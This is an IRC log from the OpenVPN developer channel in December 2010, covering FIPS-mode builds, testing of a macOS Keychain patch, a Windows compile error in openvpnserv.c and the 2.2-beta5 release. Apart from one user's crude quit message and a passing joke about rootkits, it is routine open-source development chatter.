16:58 <@jamesyonan> Essobi: have you posted any notes or patches that describe what you've done up to this point? 17:09 < Essobi> jamesyonan: no sir.. It's literally one line of code to enable FIPS mode. The rest is standard openssl calls. 17:13 < Essobi> jamesyonan: http://www.openssl.org/docs/fips/UserGuide.pdf That's the openssl FIPS build guide. 17:14 < Essobi> jamesyonan: Whenever I can get this all working, I'm going to write up a paper on how to build all this along with using the Security protocol, to meet FIPS 140-2 compliance. 17:25 < Essobi> jamesyonan: Meh.. Same exact error, using their openssl.conf and setting the env var for the openssl binary 17:26 < Essobi> jamesyonan: Oh.. and 'make check' is the exact same error.. 18:25 < Essobi> HAHA, I got it to load! 18:51 < krzie> nice! 19:09 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 245 seconds] 21:01 <@jamesyonan> Essobi: great! 21:20 < Essobi> :) 23:47 -!- mattock1 [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 23:47 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 23:47 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] --- Day changed Fri Dec 03 2010 00:33 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 00:33 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 00:33 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 00:56 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 01:37 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 01:42 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 01:44 -!- mape2k_2 [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 01:48 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 01:48 -!- mape2k_2 [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Client Quit] 03:09 -!- dazo_afk is now known as dazo 03:16 <@mattock1> essobi: could you write the FIPS howto article here: https://community.openvpn.net/openvpn/wiki 03:16 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 03:39 <@dazo> hmm ... still no beta5 on the download page :( 03:47 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:19 -!- common- [~common@p5DDA481F.dip0.t-ipconnect.de] has joined #openvpn-devel 04:19 -!- common [~common@p5DDA498F.dip0.t-ipconnect.de] has quit [Read error: Operation timed out] 04:19 -!- common- is now known as common 04:41 <@mattock1> dazo: yep, frank has not replied... I hope he's not swamped like everybody else @company 04:42 <@mattock1> god damn commercial software development with it's traditional pre-release madness... 04:42 <@mattock1> ;) 04:44 <@dazo> heh :) ... nah, that's too old fashioned for me! :-P 04:45 <@dazo> anyway, it was a great meeting yesterday ... and also very happy to see james being involved in the FIPS discussion afterwards too 04:45 * dazo appreciates he took time to do that 05:43 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 06:50 <@mattock1> ecrist: https://community.openvpn.net/openvpn/wiki/Developers 06:50 <@vpnHelper> Title: Developers – OpenVPN Community (at community.openvpn.net) 06:50 <@mattock1> dazo: agreed, james was "in flames" yesterday :) 06:50 <@mattock1> (not sure if you can say that in english) 06:51 <@mattock1> "on fire" is probably the correct expression 06:51 * dazo things about Hell when he hears "in flames" :-P 06:52 <@dazo> "on fire" is probably better :) 06:53 <@mattock1> anyways, he was very active, which was nice 06:53 <@dazo> absolutely :) 06:54 <@dazo> mattock1: re: developer list .... this might be just as good .... git log v2.2-beta1 v2.2-beta5 | grep ^Author | sort | uniq :) 06:54 <@mattock1> still no response regarding OSX keychain support: http://groups.google.com/group/tunnelblick-discuss/browse_thread/thread/7d139a826d7d8f44 06:54 <@vpnHelper> Title: Testers for OpenVPNs "MacOSX Keychain support" feature - tunnelblick-discuss | Google Groups (at groups.google.com) 06:54 <@mattock1> dazo: yeah, that hides the nasty double commit objects nicely :) 06:54 <@dazo> (add --no-merges to the {short,}log commands) 06:54 < ecrist> gah, I'll test the keychain stuff today 06:55 < ecrist> i'm running the version with it compiled in right now, but I've not installed the keys to my os x keychain 06:55 < ecrist> is there instructions as to which keychain the keys are supposed to be installed? 06:55 < ecrist> what do I put in the config? 06:56 <@dazo> mattock1: I had to re-port the OSX patch to the latest allmerged branch ... ecrist found some conflicts now, as the git tree has evolved in between 06:57 <@mattock1> dazo: this works better: git shortlog -e --no-merges v2.2-beta1 v2.2-beta5|grep "^[[:alnum:]].*"|sort|uniq -u 06:57 <@mattock1> the lines don't start with "Author" 06:57 <@dazo> ahh, true :) 06:57 <@dazo> and less text to parse 06:58 <@mattock1> page updated 06:59 <@mattock1> back to Windows building ... wohoo! :) 06:59 <@dazo> \o/ 06:59 < ecrist> anyone? 06:59 * dazo crosses his fingers for mattock1 06:59 <@dazo> ecrist: have you checked the man page? 06:59 <@dazo> (which the patch updates) 06:59 < ecrist> hrm, no. 06:59 <@dazo> lol 06:59 <@mattock1> am I pervert if I get any enjoyment out of "Building OpenVPN on Windows?" 06:59 < ecrist> that doesn't get installed on mac os x 07:00 < ecrist> mattock1: http://www.bhphotovideo.com/c/product/622852-REG/iSkin_PTFXMB_AR_ProTouch_Keyboard_Protector_for.html 07:00 < ecrist> ;) 07:01 <@dazo> mattock1: probably not if the enjoyment is because you can get rid of a annoying task to do more fun stuff :) 07:02 <@mattock1> ecrist: you got one? ;) 07:03 <@mattock1> for those occasions you got to play with Windows 07:03 < ecrist> *shudder* 07:03 <@mattock1> dazo: ok, I'm relieved :) 07:04 < ecrist> where, in the source, are the man pages? I can't find them 07:04 < ecrist> and I'm not drunk, yet 07:04 * dazo wonders why he can't access his router at home .... 07:04 <@dazo> ecrist: openvpn.8 07:05 < ecrist> gah, too easy 07:05 <@dazo> heh :) 07:09 -!- raidzx [~Andrew@2002:adc0:e0ad::adc0:e0ad] has joined #openvpn-devel 07:09 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 07:20 < ecrist> found it. I'll test this shortly, and let you guys know what I find 07:28 < common> Discussed milestone dates for OpenVPN 2.3. Current goal is to release 07:28 < common> first 2.3-beta in March 2010, and to make the final release in August 2010. 07:28 < common> cool, timetravel 08:08 <@mattock1> oops :) 08:10 < ecrist> hrm, my version must not have compiled correctly 08:12 < ecrist> something's not right with this, dazo, unless I didn't compile it correctly 08:24 < ecrist> i see the option in configure to disable the feature, but I don't see an option to enable it, so I'm not sure why it's not showin gup 08:34 <@dazo> ecrist: if you only see --disable-<feature> ... it means it's enabled by default .... when --enable-<feature> is available, it's disabled by default 08:34 <@dazo> ecrist: I'll have a look at the patch again 08:34 < ecrist> I figured. 08:35 < ecrist> ecrist@Swordfish:~/Library/openvpn-> ~/openvpn-devel/openvpn --config ./ClaimLynx\ \(OSX\ KeyChain\).conf 08:35 < ecrist> Options error: Unrecognized option or missing parameter(s) in ./ClaimLynx (OSX KeyChain).conf:10: keychaincert (2.x-testing-c4e07d47251d) 08:35 < ecrist> Use --help for more information. 08:36 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 08:41 -!- adawda [~awda@p4FDC3FD0.dip.t-dialin.net] has joined #openvpn-devel 08:42 -!- Irssi: #openvpn-devel: Total of 19 nicks [6 ops, 0 halfops, 0 voices, 13 normal] 08:42 -!- mode/#openvpn-devel [+o agi] by ChanServ 08:42 -!- mode/#openvpn-devel [+o raidzx] by ChanServ 08:42 -!- mode/#openvpn-devel [+o common] by ChanServ 08:42 -!- mode/#openvpn-devel [+o Essobi] by ChanServ 08:43 -!- Irssi: #openvpn-devel: Total of 19 nicks [10 ops, 0 halfops, 0 voices, 9 normal] 08:43 <@dazo> ecrist: can you paste-bin your help screen? ... I'll recheck against the patch 08:44 < ecrist> dazo: http://openvpn.pastebin.ca/2009607 08:44 < adawda> ecrist's Website Title: vpnhelper's pastebin - Anonymous - post number 2009607 08:44 < ecrist> who's bot is that? 08:45 < adawda> damn 08:45 < adawda> disabled now 08:46 < ecrist> thanks. 08:46 <@dazo> gah ... I can't reach my box at home now where the patch is :( 08:47 < ecrist> I can pastebin the patch, if you like, dazo 08:48 <@dazo> ecrist: please! 08:48 < ecrist> gimme one 08:49 <@dazo> one 08:49 <@dazo> :) 08:52 < ecrist> dazo: http://openvpn.pastebin.ca/2009618 08:52 < adawda> ecrist's Website Title: vpnhelper's pastebin - OS X keychain patch - post number 2009618 08:52 < adawda> so, umm... is there a place I can get help with openvpn? the forum doesn't seem to have a support/whatever section... or does it? having some trouble on ubuntu. 08:52 < adawda> wha! 08:52 < adawda> damn 08:52 < adawda> wait 08:52 -!- adawda [~awda@p4FDC3FD0.dip.t-dialin.net] has quit [Quit: Suck on my dick while I fuck that ass, HEY!] 08:52 < ecrist> nice. 08:53 <@dazo> gee 08:53 -!- adawda [~awda@p4FDC3FD0.dip.t-dialin.net] has joined #openvpn-devel 08:53 * dazo don't need to know such stuff 08:54 <@dazo> ecrist: can you do a openvpn --help of your compiled binary? 08:54 < ecrist> dazo: that was the first pastebin, above 08:54 <@dazo> s/of/on/ 08:54 <@dazo> sorry 08:54 <@dazo> --version! 08:54 < ecrist> http://openvpn.pastebin.ca/2009622 08:54 <@mattock1> hmm, openvpnserv.c fails to build (lines 87 and 101) due to C2010 08:55 < ecrist> adawda: #openvpn is the general support channel 08:55 < ecrist> and, the entire forum is for support. :) 08:55 < ecrist> if there's a certain section/sub-forum you want, let me know and I'll add it 08:55 <@dazo> ugh ... KEYCHAINCERT is not prefixed with ENABLE_ 08:56 < adawda> alright, thanks <3 i'll check out the irc channel first <3 08:56 <@mattock1> the offending line (87) is this: #define mysnprintf(out, args...) \ 08:56 <@dazo> ecrist: grep KEY config.h please 08:56 < ecrist> ecrist@Swordfish:~/openvpn-devel-> grep KEY config.h 08:56 < ecrist> #define HAVE_EVP_CIPHER_CTX_SET_KEY_LENGTH 1 08:57 <@dazo> ecrist: okay, that's the issue ... KEYCHAINCERT has not been defined for some reason 08:57 * ecrist is glad we're testing this 08:58 <@dazo> I don't have time to look deeper into this right now (deadline for a new release approaching) ... but I'll try to see what I can do in the weekend 08:59 < ecrist> OK. 08:59 <@dazo> ecrist: a quick hack would be to append #define KEYCERTCHAIN to the config.h file and hope config.h isn't regenerated 08:59 < ecrist> I'll put off further testing until I have something to test. 08:59 <@dazo> (it shouldn't though, as that's ./configure's job) 08:59 < ecrist> do I need to re-run configure? 08:59 <@dazo> noep 08:59 <@dazo> nope 09:00 < ecrist> ok, let me try that 09:00 <@dazo> just run make again 09:00 <@dazo> ecrist: #define KEYCHAINCERT 09:00 * ecrist uses #define KEYCHAINCERT instead 09:00 <@dazo> sorry, I mixed the words 09:00 < ecrist> ;) 09:01 < ecrist> Undefined symbols: 09:01 < ecrist> "_SSL_CTX_use_Keychain_certificate", referenced from: 09:01 < ecrist> _init_ssl in ssl.o 09:01 < ecrist> ld: symbol(s) not found 09:01 < ecrist> collect2: ld returned 1 exit status 09:01 < ecrist> make[2]: *** [openvpn] Error 1 09:01 < ecrist> make[1]: *** [all-recursive] Error 1 09:01 < ecrist> make: *** [all] Error 2 09:01 < ecrist> sorry for the paste 09:02 <@dazo> no worries 09:02 <@dazo> okay ... that sounds like some missing libs 09:02 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 09:02 -!- ecrist was kicked from #openvpn-devel by ecrist [no pasting in-channel] --- Log closed Fri Dec 03 09:02:16 2010 --- Log opened Fri Dec 03 09:02:21 2010 09:02 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has joined #openvpn-devel 09:02 -!- Irssi: #openvpn-devel: Total of 19 nicks [10 ops, 0 halfops, 0 voices, 9 normal] 09:02 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 09:08 -!- adawda [~awda@p4FDC3FD0.dip.t-dialin.net] has left #openvpn-devel ["boooooriiiiiiing!"] 09:22 <@mattock1> dazo: in case you missed it, I just found the next Windows build issue... in openvpnserv.c 09:22 <@mattock1> sent a question -devel 09:23 <@dazo> mattock1: lovely! well, at least that's not code we've touched recently ... or? 09:23 <@dazo> mattock1: which branch are you looking at? 09:23 <@mattock1> no, I don't think many touch the Windows-specific parts 09:23 <@mattock1> beta2.2 09:24 <@dazo> wow ... not much has happened there :) 09:24 <@dazo> git log --follow service-win32/openvpnserv.c 09:24 <@dazo> (if you add -p, you see the changes as well) 09:25 <@dazo> Date: Mon May 12 20:31:43 2008 +0000 ... that's the first real change 09:43 <@mattock1> heh, the file has been essentially the same since 2005 09:51 <@dazo> yeah 10:12 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 240 seconds] 10:34 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 10:50 <@dazo> mattock1: Just thinking about your compile error ... I think it kicks in because of the "..." in the #define macro ... I believe there are some other ways to do that as well, I just don't recall how now 10:50 <@dazo> Example: #define DEBUG(ctx, log_level, log_string...) _log_func(ctx, LOG_DEBUG, log_level, ## log_string) 10:51 <@dazo> this expands f.ex. DEBUG(ctx, 10, "Error string: %s", get_my_error()); 10:51 <@dazo> to 10:51 <@dazo> _log_func(ctx, LOG_DEBUG, 10, "Error string: %s", get_my_error()); 10:52 <@dazo> notice that ## log_string is the compound of ... "Error string: %s", get_my_error() ... including the comma which normally is a separator 11:05 <@Essobi> mattock1: I'm going to convince my boss's boss to let me drop a whitepaper. I'll send it up to the Wiki too. ;) 11:06 <@dazo> cool! thx! 11:06 <@dazo> Essobi: and if he declines, you can tell him that it will upset the openvpn community and they will make his computer unstable until you get it published 11:06 <@dazo> :-P 11:07 < ecrist> we'll just take a lesson from proftp and rootkit anything Essobi downloads. 11:07 < ecrist> ;) 11:09 <@Essobi> dazo: lol 11:09 <@dazo> heh 11:09 <@Essobi> I'm a 'build my own source repository' kind of guy. :) 11:10 <@Essobi> I don't subscribe to the automagically fix my binaries mantra. 11:10 <@dazo> I've noticed how soft many managers can become if they realise something will hurt them in one way or another and you have the knowledge they desperately need in the company :) 11:12 <@Essobi> Naw, they're all about opensource here. 11:12 <@dazo> that's cool! :) 12:13 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 12:14 -!- dazo is now known as dazo_afk 12:15 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:15 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:51 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 12:51 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 12:51 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:45 <@raidzx> ecristL was there a 2.2 beta 4? or did you go from 3-5? 13:45 < ecrist> I think I failed to setup beta-4 13:46 * ecrist is a failure 13:46 <@raidzx> Ok, I am going to tweet an update samulis forum announcment so I want to make sure I get ir right. As far as the beta5 changelog, are the changes since beta3 then? 13:46 <@raidzx> *and update 13:47 -!- raidzx is now known as raidz 13:47 -!- raidz [~Andrew@2002:adc0:e0ad::adc0:e0ad] has quit [Changing host] 13:47 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:47 -!- ServerMode/#openvpn-devel [+o raidz] by calvino.freenode.net 13:47 < ecrist> fetch: http://build.openvpn.net/downloads/releases/openvpn-2.2-beta5.tar.gz 13:47 < ecrist> mattock 13:48 < ecrist> is build wrong now? 13:48 < ecrist> raidz: for freebsd, yes, I simply failed to release beta4 13:48 <@raidz> ecris: ok, thanks 13:48 <@raidz> *ecrist 13:50 < ecrist> I'm posting the port now 13:51 <@raidz> great! 14:43 < ecrist> beta5 is in ports tree 14:54 <@mattock1> ecrist: actually this: http://swupdate.openvpn.net/community/releases/openvpn-2.2-beta5.tar.gz 14:54 <@mattock1> although I think I'll copy the files to build.openvpn.net for convenience 15:02 < ecrist> ok 15:02 < ecrist> no big deal, now 15:03 <@mattock1> beta5 is also on openvpn.net now 15:03 <@mattock1> http://openvpn.net/index.php/open-source/downloads.html 15:03 <@vpnHelper> Title: Downloads (at openvpn.net) 15:03 <@mattock1> got to make the release announcements 15:03 <@mattock1> and generate the debian/ubuntu packages 15:06 <@mattock1> hmm... what have I been smoking when beta3 was released... https://forums.openvpn.net/viewtopic.php?f=20&t=7085 15:06 <@vpnHelper> Title: OpenVPN Support Forum View topic - OpenVPN 2.2-beta5 released (at forums.openvpn.net) 15:07 <@mattock1> oh, did somebody else edit my post... 15:41 <@cron2> mattock: congrats! 15:41 <@mattock1> on missing the release? ;) 15:42 <@cron2> on getting the release out - wasn't that your doing? 15:42 <@mattock1> yeah :) 15:42 <@mattock1> I was cleaning the house when 2.2-beta5 became public :D 15:42 <@mattock1> no harm done, though 15:42 <@mattock1> just generating debian packages to finish the job 16:19 < ecrist> ping mattock1 16:19 < ecrist> is there a changelog for 2.1 -> 2.2? 16:26 <@mattock1> ecrist: well, 2.2-beta1 is based on 2.1-something originally 16:27 <@mattock1> the 2.2 changelog on openvpn.net should go back that far 16:52 <@mattock1> ok, debian and ubuntu packages for 2.2-beta5 here: 16:52 <@mattock1> http://build.openvpn.net/downloads/releases/ubuntu/10.04/ 16:52 <@vpnHelper> Title: Index of /downloads/releases/ubuntu/10.04 (at build.openvpn.net) 16:52 <@mattock1> http://build.openvpn.net/downloads/releases/debian/5/ 16:52 <@vpnHelper> Title: Index of /downloads/releases/debian/5 (at build.openvpn.net) 17:04 <@mattock1> ok, now some well-earned sleep... have fun! 17:09 -!- mattock1 [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 17:16 -!- dazo_h [~dazo@2001:470:9d83:350:213:e8ff:feb8:527f] has joined #openvpn-devel 17:50 < dazo_h> jamesyonan: you around? 17:52 -!- dazo_h [~dazo@2001:470:9d83:350:213:e8ff:feb8:527f] has quit [Changing host] 17:52 -!- dazo_h [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:52 -!- mode/#openvpn-devel [+o dazo_h] by ChanServ 17:52 -!- dazo_h is now known as dazo 17:56 * dazo is pondering about some oddities with the v2 plug-in interface 17:57 <@dazo> It looks like the PLUGIN_LEARN_ADDRESS in delete mode is called with the wrong client context 17:57 <@dazo> or rather, that the client context is deleted too early 18:00 <@dazo> raidz: there were no "public" beta4, as that failed on windows build ... so mattock fixed that and we got beta5 18:02 <@dazo> ecrist: the changelog from 2.1->2.2 ... that's basically just to follow the changelog from 2.1.1 to 2.2-beta5 18:02 <@dazo> 2.2 branched at the 2.1.1 release, basically 18:48 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 276 seconds] 19:59 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Leaving] --- Day changed Sat Dec 04 2010 01:02 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:35 -!- andj [~Adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has left #openvpn-devel ["Leaving."] 02:48 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 03:37 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:38 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer] 03:38 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 04:22 -!- common [~common@p5DDA481F.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds] 04:24 -!- common [~common@p5DDA43CD.dip0.t-ipconnect.de] has joined #openvpn-devel 04:37 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:37 -!- mode/#openvpn-devel [+o dazo] by ChanServ 04:51 <@cron2> so beta 6 now... :-) 04:51 <@dazo> heh ... you think about the openvpnservice.c patch? 04:52 <@dazo> I hope RC will be the next one ... unless there's some really nasty stuff which indicates another test round 04:52 <@cron2> yes 04:53 <@dazo> that an RC gets some bugfixes is fine ... to spin another beta means feature changes 04:53 <@cron2> but indeed, this is something that could go right into RC 04:53 <@cron2> ack 04:53 <@dazo> yeah ... we just need to make sure that the patch works on the old RHEL4 environment as well 04:54 <@dazo> I can see if I can run a test on the testboxes at work .... I know james want us to support RHEL4.6 (which is completely outdated, as 4.8 is the last supported one from RH) 04:55 <@dazo> or else, it's to #ifdef ... for Visual Studio or not 04:55 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer] 04:55 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 05:05 -!- m-a1 [~mandree@f055110181.adsl.alicedsl.de] has joined #openvpn-devel 05:06 < m-a1> mattock: regarding the VS2008 patch for openvpnserv.c, do we need compatibility with gcc before 3.0, i. e. 2.95? 05:06 < m-a1> then we may need the #ifdefs I've ommited from the patch on the mailing list 05:06 <@mattock> don't think so... 05:06 < m-a1> OK 05:07 <@mattock> I'll check when 2.95 was released... 05:07 < m-a1> loooong ago 05:07 <@dazo> we need to support RHEL4.6, according to James 05:07 <@dazo> I don't recall which gcc that one got though 05:07 <@mattock> 1999 05:07 <@mattock> even RHEL4.6 doesn't use that old gcc 05:08 <@mattock> also, RHEL won't build openvpnserv.c anyways... it's windows-specific 05:08 < m-a1> looks safe 05:08 < m-a1> http://www.redhat.com/rhel/compare/ 05:08 <@vpnHelper> Title: redhat.com | Products & Services (at www.redhat.com) 05:08 < m-a1> apparently that's GCC 3.2 05:08 < m-a1> MinGW should also be using 3.x or newer 05:09 < m-a1> FWIW, Cygwin has no GCC 2.X 05:09 <@dazo> true... windows only 05:09 <@mattock> yep 05:09 < m-a1> mattock: you checked on VS 2008? 05:09 <@mattock> btw. i noticed that service.c and service.h in service-win32 directory are from microsoft 05:09 <@dazo> well, when RHEL3 uses gcc 3.2, then we should be safe :) 05:10 <@mattock> m-a1: you mean "compiled on"? 05:10 < m-a1> mattock: yup 05:10 -!- m-a1 is now known as m-a 05:10 <@mattock> yes, Visual Studio 2008 C compiler 05:10 < m-a> OK, just for the changelog 05:11 <@mattock> got to go eat some lunch 05:12 * dazo don't like that service.[ch] don't have any explicit license 05:17 < m-a> mattock: enjoy. I've just posted a new patch version to the openvpn-devel mailing list, with updated ChangeLog but unchanged code. 05:20 < m-a> mattock: just in case, to apply on top of d59fa6c1 05:21 <@dazo> m-a: thx a lot! I'll give it an ACK now and get it into the beta2.2 and bugfix2.1 branches 05:21 < m-a> dazo: good 05:25 <@dazo> And it's pushed out now :) 05:27 * dazo just found this one: http://gcc.gnu.org/releases.html 05:27 <@dazo> 2.95.3 is the last 2.x release, March 2001 ... I have no problem forcing people to update such old compilers 05:32 < m-a> dazo: they key issue is if you can compile on Windows, and AFAIK Cygwin and MinGW have GCC 3 and GCC 4. 05:32 <@dazo> yeah, I saw the ACK I sent went only to you, I'm resending now with a little bit more info 05:32 <@dazo> to the ml 05:35 < m-a> fine 05:35 < m-a> but let's quit the secondary writings somewhere, else we're writing 20k of stuff for four changed lines :) 05:36 < m-a> nothing against necessary communication though :) 05:39 <@dazo> :) 05:43 -!- m-a [~mandree@f055110181.adsl.alicedsl.de] has left #openvpn-devel ["Leaving."] 06:22 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Read error: Operation timed out] 07:07 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 07:16 -!- krzee [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 07:17 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Leaving] 08:13 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 08:41 -!- m-a [~mandree@f055110181.adsl.alicedsl.de] has joined #openvpn-devel 08:42 -!- m-a [~mandree@f055110181.adsl.alicedsl.de] has left #openvpn-devel ["Leaving."] 11:04 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 11:39 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 12:18 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 272 seconds] 14:27 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:27 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:42 -!- dazo_afk is now known as dazo 15:59 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 17:53 -!- dazo is now known as dazo_afk 18:12 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 19:07 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Sun Dec 05 2010 02:46 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:46 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:00 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:20 -!- common- [~common@p5DDA4A70.dip0.t-ipconnect.de] has joined #openvpn-devel 04:23 -!- common [~common@p5DDA43CD.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds] 04:23 -!- common- is now known as common 04:30 -!- dazo_afk is now known as dazo 07:24 -!- krzee [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 07:27 -!- dazo is now known as dazo_afk 11:16 -!- Netsplit *.net <-> *.split quits: helmut 11:17 -!- Netsplit over, joins: helmut 11:28 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer] 11:29 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 11:35 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer] 11:35 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 12:19 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 12:19 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 12:19 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 12:31 < chantra_afk> mattock: i just stumbled on that 12:31 < chantra_afk> http://aws.amazon.com/free/ 12:31 <@vpnHelper> Title: AWS Free Usage Tier (at aws.amazon.com) 12:31 < chantra_afk> 750 hours free for new users 12:31 < chantra_afk> that can be good to run some buildbot slaves 13:08 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:08 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:54 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 259 seconds] 16:31 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] --- Day changed Mon Dec 06 2010 02:03 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:03 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:04 -!- dazo_afk is now known as dazo 02:19 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 02:19 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 02:19 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 03:12 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 03:16 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Ping timeout: 272 seconds] 04:20 -!- common- [~common@p5DDA493F.dip0.t-ipconnect.de] has joined #openvpn-devel 04:24 -!- common [~common@p5DDA4A70.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds] 04:24 -!- common- is now known as common 04:30 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 05:02 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 05:05 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:31 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 07:03 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 07:47 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 07:47 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 07:52 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 07:55 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Read error: Operation timed out] 07:56 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 08:34 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 08:34 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Client Quit] 08:44 -!- roentgen [~arthur@2001:4d18:3:1:ffff:ffff:ffff:1] has joined #openvpn-devel 08:44 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer] 08:44 -!- roentgen [~arthur@2001:4d18:3:1:ffff:ffff:ffff:1] has quit [Changing host] 08:44 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 08:50 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 09:10 < Essobi> Morning all. 09:24 < Essobi> Yay! Boss signed off on a whitepaper. 09:24 < Essobi> :) 09:24 < Essobi> I'll work that FIPS write up in this week. 09:25 <@dazo> Essobi: cool! That's great news! 09:26 -!- dazo is now known as dazo_afk 09:43 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 09:46 <@vpnHelper> RSS Update - tickets: #71: Windows 7 (and Vista) - tunnel fails after resume from Sleep/Standby 